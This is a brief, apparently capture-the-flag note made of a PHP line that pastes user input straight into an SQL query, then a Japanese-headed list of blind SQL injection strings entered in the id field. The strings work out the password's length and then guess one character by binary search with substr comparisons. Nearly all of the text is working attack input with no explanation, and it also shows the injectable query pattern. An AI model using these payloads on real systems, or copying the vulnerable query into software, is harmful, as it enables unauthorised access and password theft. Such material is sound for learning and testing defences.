$db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'")
idに入力して通ったもの一覧 admin' AND length(pass) = 21 -- admin' AND pass LIKE 'FLAG_%'-- admin' AND substr(pass,6,1)>='A' AND substr(pass,6,1)<='Z' -- admin' AND substr(pass,6,1)>='A' AND substr(pass,6,1)<='M' -- admin' AND substr(pass,6,1)>='G' AND substr(pass,6,1)<='M' -- admin' AND substr(pass,6,1)>='J' AND substr(pass,6,1)<='M' -- admin' AND substr(pass,6,1)='K' --